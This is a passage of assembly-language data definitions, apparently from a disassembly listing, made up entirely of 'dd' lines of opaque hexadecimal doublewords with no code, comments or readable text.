		dd 9FCF48AEh, 4602D896h, 0B947D600h, 0B46EFAC7h, 0F47A3B06h
		dd 12FFFC80h, 0E331812Dh, 0F7A9A503h, 0B8995572h, 0FA331CCBh
		dd 1B1A006Ch, 2212C4DBh, 2B0342CEh, 0B2ED76E5h,	9C8AA069h
		dd 0DBF61365h, 9012E3h,	0CB7F6D88h, 311DE13Eh, 25AB06h
		dd 35645224h, 18C400CFh, 51597A89h, 0CC06BE3Eh,	4F75430Eh
		dd 0DFD50721h, 1756E53Bh, 0F38FD089h, 0AC00EB42h, 0AF87E358h
		dd 670F24h, 0A8BE1F2Fh,	3140762Dh, 92116C00h, 46652E34h
		dd 23890038h, 83F5700Eh, 0D300E3CAh, 0C10A0785h, 0C66E9Dh
		dd 6E734B5h, 0F9E80B8Dh, 56003CB8h, 0AD402A7Fh,	5042364Bh
		dd 51F733h, 87ED806Ch, 0C5B01ADEh, 0A2784C00h, 9A2FA0ADh
		dd 76FB00F0h, 8698C083h, 143E57F5h, 0F3FC8F49h,	28AE6058h
		dd 0D30222h, 0A10ED8DEh, 96831A04h, 5E7EE000h, 95F0D735h
		dd 0F250057Fh, 0A4ADD1h, 481F1CA6h, 3802D9B9h, 33DDEC8Eh
		dd 5685E030h, 2ABB00A1h, 5D1794FEh, 0F8007E6Dh,	0BAD27F0Bh
		dd 6E7A4Dh, 9C33851h, 0E6D5FB7Dh, 78CB10Fh, 0A049CA2Bh
		dd 0A098480Eh, 0DFE694Bh, 0B87F0035h, 0F275ECAEh, 0DF0076E8h
		dd 52CED01Ah, 7391B90h,	0B744E5Fh, 65807072h, 45E4CB8Dh
		dd 8C002570h, 36B1E143h, 0A9BA89h, 4ABB13A5h, 9BDDB001h
		dd 0D1825703h, 0D00F202Ah, 7EE26B6Ch, 283602C0h, 0CF270C72h
		dd 8257B60h, 0B65C230Fh, 138FE789h, 0CDE97BA0h,	0A832004Eh
		dd 0D3752B1Bh, 21C088CEh, 4D3DB257h, 0FB400086h, 4A8435EAh
		dd 9F000843h, 0FAA7A165h, 26D641CEh, 3D70A96Eh,	5B482201h
		dd 200D979Bh, 0B30F1C18h, 806FBB62h, 80332C9Dh,	0EE67823h
		dd 83519CC5h, 12851600h, 25003D0Ah, 17935439h, 38BF80h
		dd 0F7CEE8D9h, 0B70EA819h, 0BBD7A738h, 761D80C7h, 0CD5DE326h
		dd 0D85E68E4h, 0FE2B009Ch, 534DFA90h, 24018EF6h, 57FC8F87h
		dd 21BE585Dh, 0F7110680h, 0AE679DD4h, 0E00AA7Bh, 619B56FDh
		dd 0C2EA3B4h, 3741B5C2h, 600CDD9h, 0AB9B5AA5h, 7E4DE53h
		dd 4556E8E5h, 0BC1EBBh,	0A91BD986h, 0F90001B3h,	0B026AD83h
		dd 0D7DC6h, 0D8B40FCDh,	545C78FAh, 2550521Fh, 4E0F16A6h
		dd 626E007Dh, 87CDEAh, 0B6F357CBh, 9C3F757Bh, 0F1090A73h
		dd 8AACE2h, 92D48B48h, 1EAE00DBh, 0DEC886EFh, 5EAFEF4h
		dd 28211500h, 478B3C38h, 0DBF21D7Eh, 0C7BDC00Dh, 40FF6FD0h
		dd 10CB707h, 0C2407F75h, 30AC1610h, 87187D4Ah, 361276F1h
		dd 0B900C52Fh, 0D5AB0D20h, 0B05550CDh, 0C8D200B2h, 0A522A340h
		dd 0CB071D0Bh, 0AD424478h, 3E10FA0h, 0B0B9B8CDh, 7D280195h
		dd 0A2F747Eh, 1000F3FFh, 13265F3h, 0C6DC0Bh, 0B7730E48h
		dd 0CAEB558Dh, 8E03DD04h, 44802C11h, 30219EE5h,	8A20BF23h
		dd 0BD006A76h, 3DC57203h, 9A28F8h, 0DA57DEF9h, 5FF0D01Fh
		dd 44380DF6h, 0EACC00B7h, 0AD2C4B5Dh, 698F0099h, 7D13C790h
		dd 0D401E91Eh, 0A03495Ch, 96DC5D3Eh, 9570009Ah,	613CA8E2h
		dd 0BEF080FEh, 3417C500h, 2152F80Fh, 7C716F9h, 4D61DFDh
		dd 8051665Dh, 0DBC09574h, 0B500DAE4h, 0ECF6D890h, 78DE0C8Fh
		dd 0ED7C0262h, 470727D4h, 74C95448h, 0ECDACF1Dh, 3900A996h
		dd 0EBDBE8EDh, 79318B8h, 6D9721C7h, 0BF0B7D00h,	0F525BB04h
		dd 18A0EC4h, 0E0E02049h, 868E3F32h, 0A7A99012h,	62E15400h
		dd 72E4D88h, 0E7360E54h, 5C3AA07Eh, 0BE0075F8h,	44A99CF7h
		dd 0B3A797h, 1835BBFEh,	784BA4F2h, 0D0F8FE4h, 47C63355h
		dd 5F60BDB3h, 9FC374h, 0C80CE172h, 6E573436h, 960079F0h
		dd 58331837h, 18737177h, 21322D98h, 0C090AFADh,	3F333A58h
		dd 63A09CE4h, 99495480h, 9D583Bh, 2F0A5CEFh, 0E2F02141h
		dd 5E7F407Bh, 55167A0Ah, 0F601C0D5h, 0CB03F915h, 0C080BFD5h
		dd 5DE9FAC0h, 253B2D3Eh, 3A39F5D3h, 0C5AE000Dh,	0B617035Eh
		dd 0A42900D9h, 0A034B93Dh, 0F473F80Ch, 2A394B00h, 45687660h
		dd 4D4A0081h, 1BDAE1Bh,	34758222h, 0C720D024h, 0C60EF900h
		dd 957798h, 5C886BA3h, 0F217619Eh, 367A6A00h, 4E3DF6D7h
		dd 7B94001Eh, 2F44490Dh, 0D62EAB30h, 6D004106h,	0AFDE8B45h
		dd 0A0851847h, 7F7488C7h, 77004271h, 9CD1BD96h,	10D4AE9h
		dd 2D3C555Eh, 40C41B61h, 9B713A94h, 0E3DF4E00h,	0FA171FDCh
		dd 6E480735h, 900F422Eh, 8321A4A1h, 0D703E900h,	0CCCB15EFh
		dd 0A5910EECh, 5E9E528h, 0AEDEAB00h, 0E700C94Dh, 3B4520E0h
		dd 76775733h, 48C72887h, 2A270014h, 7F3DEC6Ah, 7670CF14h
		dd 0FFC80D00h, 36725C87h, 809B005Fh, 0F8D55918h, 2F0042EEh
		dd 0A3FFF36Bh, 3B7C299h, 2BFD8A4Ch, 0C00006A0h,	44409462h
		dd 7E2610h, 0B3A4CF03h,	75C50E11h, 0ADD49002h, 0E1EF2356h
		dd 21EC407Fh, 0A7780054h, 13366C63h, 2B003C44h,	582D9ED3h
		dd 1CC02F12h, 40F0272Ch, 6AC910B9h, 29009396h, 3EAB52ACh
		dd 3A702h, 0CE45E5B0h, 9FB9CC85h, 0EBBC1300h, 5FF8ED37h
		dd 0C022503Ch, 0A9CD00FBh, 9D91A57Dh, 0BF003866h, 0AEEADBCEh
		dd 0A10F02h, 3DBD5446h,	0BEF307D7h, 0CD98F47Ah,	61B75B01h
		dd 0D4C9CF32h, 1556E8h,	0EFA37940h, 4FB5C20h, 804E8439h
		dd 0E82FE20Ah, 0A8F172h, 48F67F6Eh, 35FCEC6h, 22526C0Bh
		dd 6C4006Bh, 0E62C2850h, 4C8E00B4h, 0A024DECh, 71876AAh
		dd 7C388024h, 0AB7B5Dh,	4F3B5675h, 0EF7E8AB7h, 31A29930h
		dd 66AD73h, 4EA8F5CAh, 767E160Ch, 0E98EFD1Dh, 29EC07C1h
		dd 9E4AFBFh, 0D3B2000Bh, 4EBBBAEh, 0F10E82F8h, 0C1D9217Eh
		dd 0ED60AA8Bh, 0F41E6F4h, 8808DE98h, 5F19C640h,	0CD0074A0h
		dd 0C15E63C3h, 36F0997Dh, 11397305h, 0EB1538C0h, 7B5B254Ah
		dd 0DF490696h, 207E05A9h, 3FAB1104h, 0CBC05034h, 93986Bh
		dd 8A4181E6h, 890BB8B4h, 800FC33Fh, 5419FE6Eh, 0C7D3A8h
		dd 0F2150138h, 0C8DDBB1Dh, 8DD70B03h, 0B819ADA7h, 6C060Eh
		dd 7EB32296h, 0D64F8880h, 2AE5E607h, 0AAF0FB14h, 3E1F0336h
		dd 5A0087E2h, 0DC35C558h, 6807A13Ch, 0AEC43B5Bh, 0BB4D2F50h
		dd 0BF1F3C31h, 92EFCF00h, 46CF92Ch, 0D111B000h,	42190AE3h
		dd 4CF090C8h, 11C2CB4h,	0C0FC9C03h, 92879D36h, 70007DE2h
		dd 0D2779A2Eh, 0F0FF170Fh, 18764C0Ch, 45F43B00h, 0EB6F7E46h
		dd 9B3E8400h, 0EF745279h, 0CD2001DCh, 7E0E434Ch, 5B699C04h
		dd 34270D40h, 21649Ah, 0E3E0B401h, 0D0ABB195h, 1E754248h
		dd 0E700023Fh, 9D018C4Eh, 0B4AD38E0h, 0C0F67176h, 89D90CD0h
		dd 1300B0DBh, 398E0B1Bh, 837299h, 0E1E4107Eh, 0AC6F6826h
		dd 8A2E3100h, 0DFB28506h, 8E7B0050h, 0A1DDEE0Ah, 0C0024358h
		dd 35F8B58Fh, 9E2CC036h, 0A9F100C9h, 0D121FF2Ah, 69006752h
		dd 0E2DDD5B8h, 4CF7D6D0h, 463C1815h, 0C6A33807h, 2DC7305Fh
		dd 0E1C0308h, 0C4405A45h, 2F14A5B3h, 882400F2h,	0DC52CE38h
		dd 1D0368E2h, 70BB1CD6h, 47EBC09Fh, 0AE193986h,	0CBF6FFh
		dd 9369D5C0h, 9CB51FF2h, 0CFF4B00Eh, 0D7C0FCE4h, 1C4CD477h
		dd 54E2828h, 0AB8F00ACh, 4A2D5FE7h, 4D763F48h, 6B322700h
		dd 0C91FD89h, 0DF680021h, 0D5D97267h, 12001AF7h, 64D6A5A4h
		dd 301CE4CBh, 7EE695A8h, 0F60002A6h, 4B53DFCDh,	0A7A5BFh
		dd 0E9AC0EBCh, 6AB4D901h, 71726500h, 0E6B0EB8Ah, 7344007Eh
		dd 9B81281Dh, 0F100E2E4h, 9C742EDDh, 2A206E0h, 422DDB03h
		dd 0DC410C7Dh, 4B3C6448h
		dd 27C409F9h, 7D8A003Ch, 0F05C784Fh, 6E5982FCh,	0B4962C84h
		dd 8C0DB14h, 8026E208h,	78935294h, 0B404EFE7h, 0F33F17BBh
		dd 8BAB2490h, 6D3419E6h, 0F8E81041h, 2008258h, 0C3B912E4h
		dd 65AFBE16h, 0C19B31A4h, 80A5468Ah, 4D797A31h,	0E303C81h
		dd 43C1428Eh, 80024F26h, 0E98B9E00h, 8529E63Fh,	497B0B21h
		dd 0C8006D55h, 0C8D6AC4Bh, 280A1003h, 0F038BB68h, 426D8E1h
		dd 0BE367D9Ch, 1E47802Ah, 66481AEDh, 3E110060h,	1C968B6Fh
		dd 0BE56002Ch, 0F3EC19A3h, 0C0005D4Fh, 6C58B4B3h, 0D74660h
		dd 0DC646F8Bh, 0C16BEC96h, 0CB95FD00h, 73F4A05Dh, 0ACB85815h
		dd 0F1A76000h, 0C9BE176Dh, 4A3F21C0h, 0B6AA63h,	0B052399h
		dd 0B4AC5657h, 21D8F00h, 0F384620Eh, 0D2B800A7h, 30FBEF1Ch
		dd 0CBB899DAh, 5A8E600h, 1D5156A9h, 2F2400DEh, 0EFE00AB2h
		dd 0EB014482h, 8C66C5C0h, 5A206498h, 87E139E9h,	0AEFDD100h
		dd 28D0143Eh, 20926F6h,	0D7D62A9Ah, 409BBB87h, 4E4FE7F5h
		dd 3EFB3400h, 9A15DE1h,	7F730CA5h, 0E0806399h, 0A04E8D03h
		dd 0C04696D0h, 37224Fh,	0FF5D98CFh, 0DB0DE489h,	0F2F64A00h
		dd 164C44E3h, 7F71009Ch, 0DD774FD3h, 0C838C628h, 0D22C8787h
		dd 0FDCF9BE6h, 309E6F40h, 906511h, 67B5A0C6h, 0FE88AF14h
		dd 99D64901h, 0CA9E7CBh, 1B528040h, 6770113h, 0FEFD2782h
		dd 0B6BBE479h, 45972503h, 0B0FF4323h, 91D230h, 0D5166251h
		dd 632D848Ah, 9900D476h, 1CEE4228h, 1CF822A9h, 40911672h
		dd 46FDC431h, 54E8116Bh, 7A00C572h, 0DDF5569Eh,	15B8DE6h
		dd 33B00503h, 0F477BD9Bh, 0B54807FCh, 81BB1F24h, 0E80CEBC0h
		dd 76B1B747h, 0F5F2028Bh, 2999A946h, 33841840h,	0C717F3Ah
		dd 71BD5EE7h, 470130E6h, 7F438620h, 3B84751Dh, 0E20E701Dh
		dd 7C8E10EAh, 38985FEEh, 0E118D5E4h, 6E08E27Ah,	4C1C070Bh
		dd 0C2B5D841h, 30811FC7h, 838AA2A9h, 447F2381h,	785FA001h
		dd 28EB507Ch, 0C938C5E2h, 1B94C0A4h, 0BF006E7Fh, 3AD3C6CFh
		dd 16452Ah, 9149EFB9h, 0E9A10E62h, 0A00E6A74h, 202EFA95h
		dd 44D0ADBFh, 93CA002Ah, 0F5EB87C2h, 3B00E9FDh,	0FB154B98h
		dd 15525D5h, 7461163Ah,	0EC487E76h, 6700D428h, 8BC08DA1h
		dd 0C91335h, 0BB948A66h, 9984D5B9h, 45176C76h, 0EB00AF03h
		dd 0E35625Fh, 75A7C7Dh,	2057CFA5h, 3648514Ch, 42BE7071h
		dd 0BF9E0300h, 7259658Ch, 2BA1F55h, 0E3F6805Ch,	0BCD92A60h
		dd 0CE008D76h, 3212B94Fh, 580EBF48h, 97008713h,	0BAA49136h
		dd 690014E6h, 0B4302041h, 1F338799h, 82DC46h, 93A42F4Ch
		dd 0C33C9BBBh, 3C0277CBh, 1E434540h, 369C8029h,	1D5A20Ah
		dd 32B1A393h, 9889AB3Ah, 6F213008h, 0AD5009Ah, 0F6EBC9FCh
		dd 1D75B239h, 0BA54EF00h, 2F021B3Ch, 4B86035Bh,	7427C39Fh
		dd 18E569E6h, 94D539A3h, 3E11B9A3h, 0D59B6C00h,	67CAA373h
		dd 0FF504962h, 0DF0A03Fh, 0A2215Fh, 0B3B4A683h,	13CAED8Dh
		dd 0B6285462h, 0BB19019Dh, 2151832Ch, 3E641702h, 0DB1BD120h
		dd 5129986Ch, 3C715036h, 0E6037E18h, 53EBE948h,	0C3501052h
		dd 7F2A1C51h, 9050A40h,	0C5E6C9h, 1532647Bh, 212F8344h
		dd 0A010F101h, 39FE952Ah, 72568980h, 6EBF4E08h,	0B7126919h
		dd 21804A09h, 78087A76h, 960EAFBFh, 0BF2CE207h,	8A4D351Eh
		dd 44601037h, 8EDE1E21h, 407ADEC4h, 2D5BF801h, 28000C8Ah
		dd 0D70E44B4h, 1C26031Ch, 80C52499h, 3512EAD6h,	5900E76Fh
		dd 5FDE5122h, 1CD08Fh, 716E5BB4h, 9DE180D5h, 93EBC501h
		dd 4D31CDC1h, 3BD219C8h, 8C801BD6h, 52160451h, 26E2058Fh
		dd 44CA40C0h, 3B6FDEh, 0A81351D8h, 888C77E0h, 2310F560h
		dd 18922FA0h, 99D3AF0Ch, 4E00FF50h, 29CF27A7h, 6004A0E8h
		dd 9CFC5108h, 8F749A3Ah, 0BE5CF907h, 0D3A01531h, 18738827h
		dd 49DEB10Ch, 8C02539h,	808F9ED0h, 32E8FFA3h, 1243B0F0h
		dd 1A9D928h, 82227CA7h,	6B98F410h, 6038833Ch, 7027A639h
		dd 0D8E916C2h, 253A0CB1h, 821877F0h, 39310EE8h,	40058924h
		dd 30C068E8h, 9FEA6300h, 0A1DF27EDh, 83C1C015h,	35052AEEh
		dd 19FE11C7h, 14526BA0h, 0BAA22E65h, 2B5F01B8h,	80293822h
		dd 6B7EA159h, 0FC5097h,	0B5AC05FAh, 8A1E9962h, 0FAADB5Ch
		dd 0A0882CAFh, 1B2F2534h, 710200F3h, 0C147EED8h, 77004DE3h
		dd 9C99F401h, 1AC425E8h, 11068453h, 0C541041Dh,	10830A02h
		dd 0F9FD669Bh, 0B1A52E90h, 0FE3991E4h, 0A7380EF6h, 302158AFh
		dd 23FB13E7h, 0E4AA0EBBh, 0DA03432Bh, 0DB909ABDh, 1A073CE3h
		dd 0B4DD89CAh, 0CEB603BEh, 0E86398D3h, 2CE2FAh,	0A04A8D5Bh
		dd 75070BACh, 3C860600h, 7A4B12A4h, 0E25050E4h,	5C52FEADh
		dd 9703D872h, 20BF3B2Fh, 0AA186CA0h, 51ADCC0Fh,	7694A508h
		dd 0CB026CACh, 31C7FC2Ch, 68131760h, 786F6948h,	20000D73h
		dd 0F5070AE6h, 0FE196D86h, 0F8583B6Eh, 0B5BF0B80h, 0F6E461B7h
		dd 0C002877h, 0CAE7709Eh, 704E8EFh, 58351BFBh, 12E26084h
		dd 8A005505h, 0BC34263Eh, 172260D5h, 19B1330h, 28B089D4h
		dd 7454C807h, 0EC70D20Ch, 58A84Fh, 0A051E97Fh, 4A1A237h
		dd 1C217A07h, 0FF60C805h, 0E644E622h, 0D2EA2ADCh, 1B5506D4h
		dd 0A87A336Dh, 1C02C80Ah, 0ED80A8A5h, 2E2FD80Eh, 174A001Fh
		dd 0F3217B69h, 4401F662h, 46535FDFh, 0F85096D3h, 174BC313h
		dd 0E41C90h, 245D29E4h,	0AA001ED1h, 6C919B4Eh, 2821F343h
		dd 0A4F64Dh, 0B0A15B0Dh, 2FB7CD4h, 0E1CE820Fh, 0ED6A40A0h
		dd 1E92B414h, 0F90F98AFh, 9980DCBAh, 0D07A0EC6h, 5F512736h
		dd 9BDA00F1h, 0F0353AEh, 0ACE8B7C3h, 6AA3B8ADh,	0FBC20074h
		dd 411AF58Ah, 302831A4h, 6F008CD3h, 7FA1CD2h, 1E48CF87h
		dd 409FD197h, 46DEB05Ah, 0D500AFEFh, 8105FC7Dh,	740BCBh
		dd 0A73B1BCCh, 0BC5BBDC4h, 659E6C0Ah, 8D0884A8h, 0B6148016h
		dd 80D31361h, 44AFFA24h, 38CC8039h, 0BF0AF8D8h,	0E6D70095h
		dd 0AE25E1EFh, 2400CAD2h, 0DA92EACDh, 0E4F2E3h,	0BDBBBA4Dh
		dd 0FCF4E17Ah, 754C7100h, 0D563415Eh, 4F810013h, 0E8EAA83Ch
		dd 65008A12h, 0B8465A6Bh, 0EE7D902Fh, 930A00DFh, 8B13E8C5h
		dd 730714C3h, 0A7420D3Bh, 0DFC27940h, 596D09FEh, 0DC20A8D9h
		dd 25DC6AFCh, 0A9099190h, 26A51Bh, 0AE707A0Ch, 0EED8C0F3h
		dd 0A823E9E7h, 8031AD3Fh, 0F3D68F0h, 75E83C53h,	5606286Fh
		dd 44FC24ADh, 50494F04h, 1F362020h, 1A44090Bh, 0C69D4510h
		dd 97C48FE0h, 7695DE00h, 58379048h, 0F51B0183h,	28BD381Ch
		dd 6649802Bh, 3F315CBh,	0F137563h, 85599342h, 0FD3EA20h
		dd 7018E5F4h, 0A3316CDDh, 61770086h, 0E7AC19D8h, 5C03257Ch
		dd 72C7AF78h, 4D86B01Dh, 7F81055Ah, 80ECCF0Dh, 30561CEDh
		dd 0A6F1C01Ch, 0E8009D5Fh, 0BC1F2DBFh, 0BD8D28FEh, 89831CF4h
		dd 1B1E40D6h, 0B8449540h, 6F6E3Ch, 5EC4506h, 8B5932h, 2B2AFB51h
		dd 0EFAFD04Eh, 82429400h, 0ED9BCBBBh, 139000F4h, 0F04591D5h
		dd 401561Fh, 0D7591E53h, 0EA714D38h, 123AAEFCh,	1E15C361h
		dd 8D093A58h, 10874E1Eh, 0C4BE0362h, 50B904E9h,	0A72317ACh
		dd 0F76FEB00h, 0B1A42FFFh, 745005BFh, 1E1CA98h,	2C1DB084h
		dd 63688062h, 17EE10C6h, 0FF495851h, 0AB004C48h, 0EF1D863Fh
		dd 76005F60h, 0A2A8B18Dh, 1756FF1h, 9F5EE9FDh, 0FF1D27C9h
		dd 6EE019E3h, 0EB383817h, 0AAEF38F8h, 0B201F45Ch, 0A9BFC263h
		dd 9020F4AEh
		dd 8AF10A87h, 5088ECBh,	80167B44h, 2334325Eh, 0B0E834EFh
		dd 9915709h, 7892039Eh,	5E2B747h, 0DAAC40FBh, 510E1210h
		dd 0E268404Ah, 0B115CC6Ch, 850AB098h, 8871AA05h, 9A1880C9h
		dd 288BE740h, 488C087h,	0D784D93Ch, 0EF0A0048h,	7B96E5DEh
		dd 0C18600D0h, 0FD890E8h, 0B9715D70h, 73910C00h, 2BC9E3E4h
		dd 4F5A5C52h, 9901D800h, 8DDF07D1h, 0E52A4100h,	28646D05h
		dd 0F26500ACh, 87631403h, 0A4A302E2h, 1874D3A8h, 10015630h
		dd 3D86046Ch, 0F7008044h, 0DF120CCDh, 1A007403h, 41197243h
		dd 3FA79Fh, 0AD6D7E34h,	987C5B14h, 0F6282009h, 8D08A04Fh
		dd 4ED9DBh, 805C918Bh, 6BB113E9h, 0B3EB200h, 3359B7CDh
		dd 169B0F3Ah, 0CF078640h, 1828083h, 5F02122Bh, 9DDC38CDh
		dd 5E9C40D5h, 61E20C77h, 4518AD6Eh, 80D0AF58h, 0BE1EE43Dh
		dd 8AA50098h, 0AE76CF73h, 0B6EA092Eh, 0DC42E000h, 8F6B7C29h
		dd 0CBD60EDAh, 3609F6Fh, 9DD73454h, 50065EAh, 0E3B03843h
		dd 0FA8B55h, 0B3D483A1h, 0F0824DFBh, 36347600h,	23B4726Eh
		dd 2BBD0008h, 5DF3E49Dh, 553D1FDEh, 329480C3h, 0FACCA483h
		dd 0B553002Dh, 56F1B2B4h, 915D0B27h, 0EF960754h, 0FAD025E7h
		dd 0C77024h, 946D93EBh,	0CF26C8D0h, 44EAF200h, 8CB20AEDh
		dd 0E9F10BB5h, 5020EE47h, 3CE2DAB3h, 0B9F9E560h, 155FBE3h
		dd 28614644h, 24ECD618h, 20166B48h, 0C103179Dh,	0A3FC25C5h
		dd 870AA0CBh, 9098495Bh, 4F9C1D2Eh, 788D8900h, 95747FB4h
		dd 9E60801Bh, 3ADC318h,	0EA90E310h, 200C7DEEh, 0D99D4A69h
		dd 682360CDh, 9EECD81Ah, 186FC530h, 0BDCCA010h,	0FA173700h
		dd 1CA44EBDh, 0CC686604h, 0B91918CFh, 0B2E9C001h, 77591700h
		dd 21438A3Bh, 74E50004h, 312D9B9Fh, 7F19F479h, 571AE941h
		dd 1483CD0h, 9D80C0C1h,	0C0C9AF1Eh, 0F400C266h,	16861FC8h
		dd 31FCA10Fh, 23695FC5h, 0A740C45Eh, 0F27C5200h, 16F83E83h
		dd 3569002Ah, 0FB153D7Bh, 0E7000C71h, 44E86B48h, 1CBC0BEh
		dd 0F2B9A4E6h, 0DFF96DA9h, 0A57C4CC0h, 37B65902h, 0E03C6232h
		dd 0FDE7AAh, 4C26D241h,	0A80CA767h, 1FD9D500h, 0D4CDE083h
		dd 0C40F0043h, 0F1CF4F57h, 6E009925h, 933C6A31h, 7C2F2E8h
		dd 4BC4183Bh, 0CB568082h, 0A2EEA9E3h, 3AA3D63Bh, 73AC1D20h
		dd 4AD5EBC0h, 276DD8h, 3F8A2906h, 1941C211h, 8F522600h
		dd 0C3B54F8Eh, 0CDB8DAh, 76D9A77Ch, 845AC2F7h, 51F2DE00h
		dd 26CE4D85h, 2789000Ah, 1937D454h, 680077DFh, 0BDBF20B5h
		dd 0E84355F4h, 99A500F3h, 0DA73C6CCh, 764AA0F1h, 0A857C823h
		dd 2DBB8B93h, 23FE8F08h, 80201B18h, 2489484Ch, 3F011F3Bh
		dd 0B7F13112h, 0C5F040F9h, 633FA1E7h, 8B4719AFh, 77089C29h
		dd 4413FC44h, 8D444AA0h, 2B3E4468h, 840FFD44h, 428FF322h
		dd 0FEC11144h, 7A083B21h, 8E50908Eh, 57215165h,	9083DD08h
		dd 0F316842Ch, 9E424348h, 27382485h, 7F48F504h,	9087E84Fh
		dd 0C8AB8414h, 91646B4Ah, 0EE022BBh, 11368660h,	0BD625A43h
		dd 0EDB8993h, 0CB6C5CE8h, 0FB2187E5h, 78232413h, 27B8907Ch
		dd 39E5E42Fh, 0B7008272h, 0A2D5282Ch, 0CE7F2546h, 19C67105h
		dd 3080C7B3h, 0F2B69E77h, 8F351633h, 0FE844021h, 0C92C2AECh
		dd 43687D00h, 557FC313h, 0D18A0783h, 0AF26CCDDh, 2BF90200h
		dd 31F80D7Eh, 85354400h, 0B91E6E47h, 33671ECAh,	0C9BF5CD1h
		dd 2424A6DBh, 5098C040h, 0F33DCBA3h, 774F004Dh,	755525FBh
		dd 7BD0039h, 0B9B6EDCEh, 0CD128943h, 9F00EAB8h,	0C71DC1FCh
		dd 70A85896h, 5CC3E3Ah,	78C6C24h, 0C0C3A746h, 5062FE9Fh
		dd 510447B0h, 3B22A01Eh, 0D0EE10D0h, 95410034h,	0ED8318C7h
		dd 1000EA4Bh, 2EC98294h, 146FE56h, 21D70F77h, 7550DA1Dh
		dd 71E0301Ch, 4F182603h, 3A95BA30h, 7600D8E2h, 4D1B3972h
		dd 0BD1C6B38h, 0C84FC412h, 67F2B40Ch, 0C060E8C8h, 139B511h
		dd 88AF43E7h, 0EC6E374Eh, 45037817h, 58BC15BEh,	72DE88E4h
		dd 7A67185h, 277A3D0Fh,	667C40C6h, 8A58216Dh, 11EE00E2h
		dd 0A1E34C3Ch, 0A32F0088h, 1E326349h, 0C575F889h, 3C11D53Bh
		dd 0B53B66h, 8150035Bh,	14B0599Eh, 0C88AF258h, 1F00073h
		dd 0A7B65284h, 649088DEh, 0B4538503h, 1E86D8ADh, 80711721h
		dd 0A520AE5Ch, 7F00E937h, 5A045246h, 0A4722Bh, 0FE53C23Ah
		dd 1E09794Dh, 4B6E803Fh, 85EB401h, 6FC0857Ch, 2A52018Ah
		dd 4FE97EE2h, 60DF8BAh,	0CE769402h, 0E46EAD1Ah,	1C5924B0h
		dd 0DB918304h, 0A0847C0Ch, 600062A4h, 6F4A765Bh, 4D4E7571h
		dd 0DC24542Ch, 0F9F006Ch, 79E0FB6Eh, 6B78EFh, 7599B4ADh
		dd 7B5F487Dh, 211001AFh, 0E87E0E8Ch, 3BC12046h,	5C19F202h
		dd 80908B1Dh, 0D66721FCh, 0DC6B07FDh, 0B345E825h, 0C5E0227Ah
		dd 90FCA4h, 0D991490Ah,	43BE247h, 2F68209Fh, 193FAFC0h
		dd 32EC00EDh, 52C323FFh, 0A8007CE0h, 0F25B184Dh, 739638D6h
		dd 1A7A6Fh, 554FB82Eh, 19CAC9BCh, 9ED1C20Eh, 0F052A042h
		dd 30EE26Fh, 56BF27A1h,	41004E03h, 5AD2A4BDh, 9AD481h
		dd 0B47B512Dh, 0EC847240h, 70E45900h, 22D0B0A1h, 0C48217EDh
		dd 0F80FFFC1h, 40926FE7h, 0F19F0A5Dh, 1D4F0913h, 0D4008AB6h
		dd 0D1764620h, 22399AE4h, 71490EFDh, 2C9C43CEh,	1C21960Bh
		dd 8E64D3BBh, 0F8433C38h, 0A5906F67h, 0F7E44232h, 95686C01h
		dd 0CC6506E2h, 59D44031h, 0FFC707F3h, 706C6A9Fh, 9635A240h
		dd 0B827DF24h, 239BE080h, 12300FA0h, 906D6159h,	4962E3C4h
		dd 520BAF00h, 0EF207B9Ch, 0ECDF03FDh, 4F406E2Fh, 0E4B08789h
		dd 591CD816h, 8FB9CE86h, 0E0DA18DDh, 0E965D084h, 0EB2B00A0h
		dd 97413D19h, 77009669h, 0A825A6Fh, 0B9DADFh, 1AC5930Ch
		dd 18CB4885h, 7DD0C31Eh, 2BC6D180h, 0F3B34Eh, 5D8DEE60h
		dd 74ACAD52h, 2AAABA00h, 0BB546979h, 638501D8h,	5E258DA2h
		dd 1240C6C3h, 883ADDB6h, 1CED82AEh, 78D3C45Dh, 37C80014h
		dd 8E9804D8h, 0D4001FC5h, 1378021Eh, 0EE6780FBh, 453C00C8h
		dd 0FCFDAC69h, 0DD09AE8Eh, 17BDA4h, 21BA7780h, 39EAE435h
		dd 0B50E8571h, 0E4433222h, 21968373h, 3733EC0Eh, 65C82E6Fh
		dd 0B4233088h, 3F9F90BEh, 9EC60318h, 0BDBAA955h, 8F0A7A80h
		dd 0C240EC9Eh, 5BBEFD99h, 7160A041h, 36A1E21Fh,	80D391C1h
		dd 0C60E313h, 1FD700A4h, 0A220E002h, 0A700B33Eh, 7CF7F3A6h
		dd 1E871B1Ch, 40FB71E4h, 0BC4C5177h, 4100C342h,	70ACDC8Bh
		dd 3AB072BEh, 178083B2h, 0BF0D1331h, 0D2009F08h, 0A9C92B8Fh
		dd 59C3DA90h, 582530C1h, 46FCD090h, 3002892h, 3C9104B8h
		dd 0EC734DCh, 4938572Bh, 27D34560h, 0A4F41CA3h,	0CC460407h
		dd 6C80ADEFh, 945B03h, 0DC1B5434h, 0B7620186h, 1F3A7D00h
		dd 0F2C7063Fh, 0FD740032h, 4F0E3C1Bh, 0FB075CD1h, 30F47B6Ch
		dd 0C480E854h, 79D2BE3h, 0B5833174h, 0F553E029h, 0DC00D3DDh
		dd 0A2C647E9h, 1C59B27h, 8F448751h, 0E1B66DDBh,	226FF8A5h
		dd 8E273400h, 2CC94EEDh, 954B023Bh, 0E061834Fh,	94357DC0h
		dd 0FDBACE00h, 0A6CCDEE8h, 5420006Ch, 303FF374h, 7283C87h
		dd 8F5CF6DFh, 589A03D3h, 0A84B73C8h, 7C09CFA9h,	7B2B00EBh
		dd 49C1433h, 8D00874Ah,	4C3E295Eh, 0EA89D66Fh, 54980095h
		dd 0EF58D7F7h, 940641B7h, 32DC7E42h, 67610738h,	561545h
		dd 7543C887h, 9E5C1B07h, 80F0B8F7h, 337F35h, 0ED4292F1h
		dd 7BDB3807h, 49EE0D1Eh
		dd 0E3878D81h, 0BDE01B70h, 0C24D00FBh, 0F119A7E9h, 4A06F8BAh
		dd 17B5E7C4h, 7B800021h, 0E403FDAFh, 5C18A2F3h,	0EAD0AC97h
		dd 57A100F9h, 3D8C5E90h, 9100C18Dh, 9D922E8Ah, 7BD5833Fh
		dd 0C50803FFh, 0D25CDE06h, 0FE9C1380h, 24D1B91Eh, 8EAEF700h
		dd 7D579h, 0E25C30A5h, 210BD98Dh, 1C066400h, 0BDD00332h
		dd 0F4C7005Fh, 0FEE69B59h, 40002CB3h, 6E5A8415h, 0D1DADDh
